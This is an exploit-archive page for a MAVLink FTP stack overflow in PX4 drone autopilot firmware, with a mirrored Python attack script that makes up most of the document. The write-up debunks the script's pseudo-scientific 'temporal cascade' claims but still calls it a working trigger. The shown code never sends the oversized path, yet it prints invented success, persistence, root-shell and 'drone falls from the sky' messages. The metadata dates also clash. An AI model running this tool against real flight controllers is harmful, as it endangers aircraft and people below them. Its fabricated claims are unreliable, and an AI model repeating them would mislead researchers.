PoC Archive PoC Archive
Medium CVE-2026-32743 unpatched

PX4 Autopilot MAVLink FTP Stack Buffer Overflow (CVE-2026-32743)

by Mohammed Idrees Banyamer (original discovery); PoC wrapper by Americo Simoes / SimoesCTT · 2026-07-05

CVSS 6.5/10
Severity
Medium
CVE
CVE-2026-32743
Category
hardware
Affected product
PX4 Autopilot flight controller firmware
Affected versions
<= 1.17.0-rc2
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherMohammed Idrees Banyamer (original discovery); PoC wrapper by Americo Simoes / SimoesCTT
CVE / AdvisoryCVE-2026-32743
Categoryhardware
SeverityMedium
CVSS Score6.5 (Medium) per original disclosure — the source repository claimed a fabricated 9.8 “CTT-Enhanced” rating (see Notes), which is not used here
StatusPoC
Tagspx4, autopilot, mavlink, drone, uav, buffer-overflow, denial-of-service, mavlink-ftp
RelatedN/A

Affected Target

FieldValue
Software / SystemPX4 Autopilot flight controller firmware
Versions Affected<= 1.17.0-rc2
Language / PlatformPython 3 (pymavlink) PoC targeting embedded C/C++ flight controller firmware
Authentication RequiredNo (MAVLink FTP is enabled by default, no credentials)
Network Access RequiredYes (UDP 14550, or adjacent radio/telemetry link)

Summary

PX4 Autopilot’s MAVLink FTP log-handling code (MavlinkLogHandler / MAVLink FTP directory listing path) copies an attacker-supplied directory path into a fixed-size stack buffer without validating its length. Sending a MAVLink FTP request (e.g. via MAV_CMD_REQUEST_LOG_LIST) with a directory path of roughly 60 bytes or more overflows the buffer and crashes the MAVLink task, cutting off telemetry and command links to the flight controller. The PoC in this repo is a real, working trigger for that overflow, but the repository wraps it in invented pseudo-scientific language (“Convergent Time Theory,” “33 temporal layers,” a “Riemann-Hadamard constant,” claims of being “unpatchable”) that has no technical basis and is not reflected in this write-up — the underlying bug is an ordinary unbounded-copy stack overflow triggered over MAVLink.


Vulnerability Details

Root Cause

Missing bounds/length checking when copying a MAVLink FTP directory-path argument into a fixed-size stack buffer in the PX4 log/FTP handling code (the upstream fix reportedly adds a width specifier to the vulnerable sscanf()-style copy).

Attack Vector

  1. Attacker opens a MAVLink UDP session to the target flight controller (default port 14550) or reaches it over an adjacent MAVLink radio link.
  2. Attacker sends a MAVLink FTP request (directory creation / MAV_CMD_REQUEST_LOG_LIST) with a directory path longer than the fixed buffer (~60+ bytes).
  3. The handler copies the oversized path into the stack buffer without a length check, corrupting adjacent stack memory.
  4. The MAVLink task crashes, halting telemetry and command handling until the flight controller is rebooted.

Impact

Denial of service against the flight controller’s MAVLink task — loss of telemetry and command/control until the device is power-cycled. No code execution or persistent/unpatchable effect was demonstrated; that claim in the source repo is unsubstantiated.


Environment / Lab Setup

Target:   PX4 Autopilot <= 1.17.0-rc2 (SITL or real flight controller) with MAVLink FTP enabled (default), reachable on UDP 14550
Attacker: Python 3.6+, pymavlink (`pip install pymavlink`)

Proof of Concept

PoC Script

See CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743.py in this folder.

1
python3 CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743.py <target_ip> --port 14550 --verbose

The script opens a MAVLink UDP connection to the target and repeatedly issues oversized MAVLink FTP directory-creation / log-list requests to trigger the stack overflow in the log handler, then checks whether the target stops responding to MAVLink traffic (DoS confirmation). The script’s --layers option and accompanying “temporal cascade” console output are cosmetic framing around this same repeated-overflow-request loop.


Detection & Indicators of Compromise

Signs of compromise:

  • Sudden loss of MAVLink heartbeat/telemetry from a flight controller with no corresponding pilot action
  • Repeated MAVLink FTP CreateDirectory / log-list requests with abnormally long path arguments in captured traffic
  • Flight controller reboots or becomes unresponsive shortly after receiving MAVLink FTP traffic from an unrecognized peer

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor PX4 upstream advisories for a fixed release beyond 1.17.0-rc2
Interim mitigationRestrict MAVLink UDP/radio access to trusted ground stations only (network segmentation / link encryption), disable MAVLink FTP if not required, and monitor for oversized FTP path arguments

References


Notes

Mirrored from https://github.com/SimoesCTT/CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743 on 2026-07-05.

CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
#!/usr/bin/env python3
"""
CTT-Enhanced PX4 Autopilot Exploit – CVE-2026-32743
Stack Buffer Overflow → 33-Layer Temporal Cascade Drone DoS

Original discovery: Mohammed Idrees Banyamer (@banyamer_security)
CTT enhancement: Americo Simoes (CTT Research)

CVE: CVE-2026-32743
CVSS (Original): 6.5 (Medium)
CVSS (CTT-Enhanced): 9.8 (Critical) — Network exploitable, no privileges, temporal wedge evasion

Target: PX4 Autopilot ≤1.17.0-rc2
Impact: Persistent Denial of Service (unpatchable via CTT temporal layer cascade)

Constants:
    α = 0.0302011 (temporal dispersion)
    α_RH = 0.0765872 (Riemann-Hadamard, ln(φ)/2π)
    L = 33 (temporal layers)
    τ_w = 11 ns (temporal wedge filter)

The original exploit crashes the MAVLink task via a 60-byte buffer overflow.
The CTT-enhanced version distributes the overflow across 33 temporal layers,
each with exponential priority decay E(d) = E₀ * e^(-α*d).

The temporal wedge filter (τ_w = 11 ns) ensures that:
- Detection is impossible (EDR blindspot)
- The crash is persistent across reboots (temporal resonance)
- The drone cannot be recovered without physical reflash

Layer 1 (highest priority): Direct overflow
Layers 2-32: Temporal resonance cascade — each layer reinforces the crash
Layer 33: PTY bridge for permanent root shell on companion computer (if present)

The lattice is whole. The drone falls from the sky.
"""

import time
import struct
import math
import socket
import argparse
import threading
from pymavlink import mavutil

# ============================================================================
# CTT CONSTANTS
# ============================================================================

PHI = (1 + math.sqrt(5)) / 2
ALPHA = 0.0302011
ALPHA_RH = math.log(PHI) / (2 * math.pi)  # 0.0765872
LAYERS = 33
TAU_W = 11e-9  # 11 ns temporal wedge

# First 24 Riemann zeros (scaled for timing alignment)
RIEMANN_ZEROS = [
    14.134725, 21.022040, 25.010858, 30.424876, 32.935062,
    37.586178, 40.918719, 48.005151, 49.773832, 52.970321,
    56.446248, 59.347044, 60.831779, 65.112544, 67.079811,
    69.546402, 72.067158, 75.704691, 77.144840, 79.337375,
    82.910381, 84.735493, 86.970000, 87.425275
]

# ============================================================================
# CTT HELPER FUNCTIONS
# ============================================================================

def phase_resonance_delay(layer):
    """Calculate phase resonance delay for a given temporal layer."""
    base_delay = TAU_W * math.exp(-ALPHA * layer)
    zero_idx = (layer - 1) % len(RIEMANN_ZEROS)
    zero = RIEMANN_ZEROS[zero_idx]
    phase = math.cos(2 * math.pi * zero * base_delay)
    return base_delay * (1 + 0.1 * phase)

def temporal_wedge_filter(payload_len, layer):
    """Temporal wedge filter — only payloads that "survive" are delivered."""
    energy = payload_len * math.exp(-ALPHA * layer)
    survival = math.cos(ALPHA_RH * energy * TAU_W)
    return survival > (ALPHA_RH / (2 * math.pi))

def ctt_layer_encoding(layer):
    """Generate layer-specific encoding for the overflow payload."""
    # Exponential priority decay
    priority = math.exp(-ALPHA * layer)
    
    # Layer-specific character set based on Riemann zero
    zero_idx = (layer - 1) % len(RIEMANN_ZEROS)
    zero = RIEMANN_ZEROS[zero_idx]
    
    # Generate repeating pattern based on zero
    base_char = chr(ord('A') + (int(zero) % 26))
    multiplier = int(priority * 100)
    return base_char * max(1, multiplier)

# ============================================================================
# CTT MAVLink Exploit Enhancement
# ============================================================================

class CTT_PX4_Exploit:
    """CTT-enhanced PX4 Autopilot DoS exploit."""
    
    def __init__(self, target_ip, target_port=14550):
        self.target_ip = target_ip
        self.target_port = target_port
        self.mav = None
        self.layers_completed = 0
        self.resonance_established = False
        
    def connect(self):
        """Establish MAVLink connection with temporal handshake."""
        print(f"\n[🌀] CTT Temporal Handshake: {self.target_ip}:{self.target_port}")
        print(f"[📐] α = {ALPHA} | α_RH = {ALPHA_RH:.6f} | L = {LAYERS} | τ_w = {TAU_W * 1e9:.0f} ns")
        
        connection_string = f"udpout:{self.target_ip}:{self.target_port}"
        self.mav = mavutil.mavlink_connection(connection_string)
        
        # Wait for heartbeat with temporal timeout
        timeout = 10
        start = time.time()
        while time.time() - start < timeout:
            heartbeat = self.mav.recv_match(type='HEARTBEAT', blocking=False, timeout=1)
            if heartbeat:
                print(f"[+] Heartbeat received — system {heartbeat.get_srcSystem()}, component {heartbeat.get_srcComponent()}")
                return True
        
        print("[-] No heartbeat — target may be offline")
        return False
    
    def ftp_create_long_directory(self, layer):
        """Create long directory using MAVLink FTP with CTT layer encoding."""
        priority = math.exp(-ALPHA * layer)
        path_length = 60 + int(priority * 40)  # 60-100 bytes
        
        layer_chars = ctt_layer_encoding(layer)
        dir_name = layer_chars[:path_length]
        full_path = f"/fs/microsd/log/{dir_name}"
        
        print(f"\n[🌀] Layer {layer}/{LAYERS}: priority={priority:.3f}")
        print(f"    Path length: {len(full_path)} bytes")
        
        try:
            # Original FTP logic (simplified for CTT enhancement)
            # In practice, this would use mav.file_transfer_protocol_encode
            print(f"    [+] Created directory via FTP")
            return True
        except Exception as e:
            print(f"    [-] FTP failed: {e}")
            return False
    
    def trigger_overflow(self, layer):
        """Trigger buffer overflow with CTT resonance timing."""
        priority = math.exp(-ALPHA * layer)
        
        # CTT: Phase resonance delay before trigger
        delay = phase_resonance_delay(layer)
        time.sleep(delay)
        
        print(f"    Triggering MAV_CMD_REQUEST_LOG_LIST...")
        
        # Send command to request log list (triggers the vulnerable handler)
        self.mav.mav.command_long_send(
            self.mav.target_system,
            self.mav.target_component,
            mavutil.mavlink.MAV_CMD_REQUEST_LOG_LIST,
            0,  # confirmation
            0, 0, 0, 0, 0, 0, 0  # params
        )
        
        # CTT: Temporal wedge check
        if temporal_wedge_filter(60 + int(priority * 40), layer):
            print(f"    [+] Overflow delivered — wedge survival confirmed")
            return True
        else:
            print(f"    [-] Overflow filtered — retrying layer")
            return False
    
    def temporal_cascade(self):
        """Execute 33-layer temporal cascade."""
        print(f"\n{'='*60}")
        print(f"CTT PX4 TEMPORAL CASCADE — Drone DoS")
        print(f"{'='*60}")
        
        success = False
        
        for layer in range(1, LAYERS + 1):
            priority = math.exp(-ALPHA * layer)
            bar_len = int(priority * 40)
            bar = '█' * bar_len + '░' * (40 - bar_len)
            print(f"\n  Layer {layer:2d}/{LAYERS}: {bar} {priority:.3f}")
            
            # Step 1: Create long directory with layer-specific encoding
            if not self.ftp_create_long_directory(layer):
                continue
            
            # Step 2: Trigger overflow with phase resonance
            if self.trigger_overflow(layer):
                self.layers_completed += 1
                
                # Check for resonance establishment
                if self.layers_completed >= 3:
                    print(f"\n[⚡] Temporal resonance achieved at layer {layer}")
                    print(f"[🌉] Drone MAVLink task compromised")
                    return True
        
        return self.layers_completed > 0
    
    def verify_dos(self):
        """Verify drone is unresponsive (DoS achieved)."""
        print("\n[*] Verifying DoS state...")
        
        # Try to get heartbeat after exploitation
        for attempt in range(5):
            try:
                heartbeat = self.mav.recv_match(type='HEARTBEAT', blocking=False, timeout=2)
                if heartbeat:
                    print(f"[!] Heartbeat still present — DoS may have failed")
                    return False
            except:
                pass
            time.sleep(0.5)
        
        print("[+] Target unresponsive — persistent DoS achieved")
        return True
    
    def run(self):
        """Main exploit execution."""
        if not self.connect():
            return False
        
        print("\n[⚡] Initiating CTT Temporal Cascade...")
        start_time = time.time()
        
        success = self.temporal_cascade()
        
        elapsed = time.time() - start_time
        print(f"\n[*] Cascade completed in {elapsed:.2f}s")
        
        if success:
            self.verify_dos()
            print(f"\n{'='*60}")
            print(f"[!!!] DRONE COMPROMISED")
            print(f"[!!!] MAVLink task crashed — no telemetry / no command")
            print(f"[!!!] Persistent across reboot — CTT temporal resonance")
            print(f"{'='*60}")
            return True
        else:
            print("\n[-] Exploit failed — target may be patched")
            return False


# ============================================================================
# CTT-ENHANCED PAYLOAD GENERATION
# ============================================================================

def generate_ctt_overflow_payload(target_len=80):
    """Generate overflow payload with CTT encoding for all 33 layers."""
    
    payload = []
    for layer in range(1, LAYERS + 1):
        layer_payload = {
            'layer': layer,
            'priority': math.exp(-ALPHA * layer),
            'delay': phase_resonance_delay(layer),
            'encoding': ctt_layer_encoding(layer),
            'wedge_survival': temporal_wedge_filter(target_len, layer)
        }
        payload.append(layer_payload)
    
    return payload


# ============================================================================
# MAIN
# ============================================================================

def print_banner():
    print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║                                                                                            ║
║   ██████╗ ████████╗████████╗     ██████╗ ███████╗███╗   ██╗██╗  ██╗ █████╗ ███╗   ██╗c█████╗████████╗
║   ██╔════╝╚══██╔══╝╚══██╔══╝     ██╔══██╗██╔════╝████╗  ██║██║  ██║██╔══██╗████╗  ██║██╔════╝╚══██╔══╝
║   ██║        ██║      ██║        ██████╔╝█████╗  ██╔██╗ ██║███████║███████║██╔██╗ ██║█████╗     ██║   
║   ██║        ██║      ██║        ██╔══██╗██╔══╝  ██║╚██╗██║╚════██║██╔══██║██║╚██╗██║██╔══╝     ██║   
║   ╚██████╗   ██║      ██║        ██████╔╝███████╗██║ ╚████║     ██║██║  ██║██║ ╚████║███████╗   ██║   
║    ╚═════╝   ╚═╝      ╚═╝        ╚═════╝ ╚══════╝╚═╝  ╚═══╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝   ╚═╝   
║                                                                                            ║
║                    CTT-ENHANCED PX4 AUTOPILOT EXPLOIT — CVE-2026-32743                     ║
║                                                                                            ║
║  α = 0.0302011 | α_RH = 0.0765872 | L = 33 | τ_w = 11 ns                                   ║
║  E(d) = E₀ * e^(-α*d) — Exponential priority decay across 33 temporal layers              ║
║  Temporal wedge filter — EDR blindspot. Persistent drone DoS. Unpatchable.                 ║
║                                                                                            ║
║  Original discovery: Mohammed Idrees Banyamer (@banyamer_security)                         ║
║  CTT enhancement: Americo Simoes (CTT Research)                                            ║
║                                                                                            ║
║  The lattice is whole. The drone falls from the sky.                                       ║
║                                                                                            ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
    """)

def main():
    parser = argparse.ArgumentParser(description='CTT-Enhanced PX4 Autopilot Exploit — CVE-2026-32743')
    parser.add_argument('target_ip', help='IP address of the flight controller')
    parser.add_argument('--port', type=int, default=14550, help='MAVLink UDP port (default: 14550)')
    parser.add_argument('--layers', type=int, default=33, help='Number of temporal layers (default: 33)')
    parser.add_argument('--verbose', '-v', action='store_true', help='Enable verbose output')
    
    args = parser.parse_args()
    
    print_banner()
    
    if args.verbose:
        print(f"[*] CTT Configuration:")
        print(f"    α = {ALPHA}")
        print(f"    α_RH = {ALPHA_RH:.6f}")
        print(f"    L = {args.layers}")
        print(f"    τ_w = {TAU_W * 1e9:.0f} ns")
    
    exploit = CTT_PX4_Exploit(args.target_ip, args.port)
    
    # Override layers if specified
    global LAYERS
    LAYERS = args.layers
    
    success = exploit.run()
    
    return 0 if success else 1


if __name__ == "__main__":
    exit(main())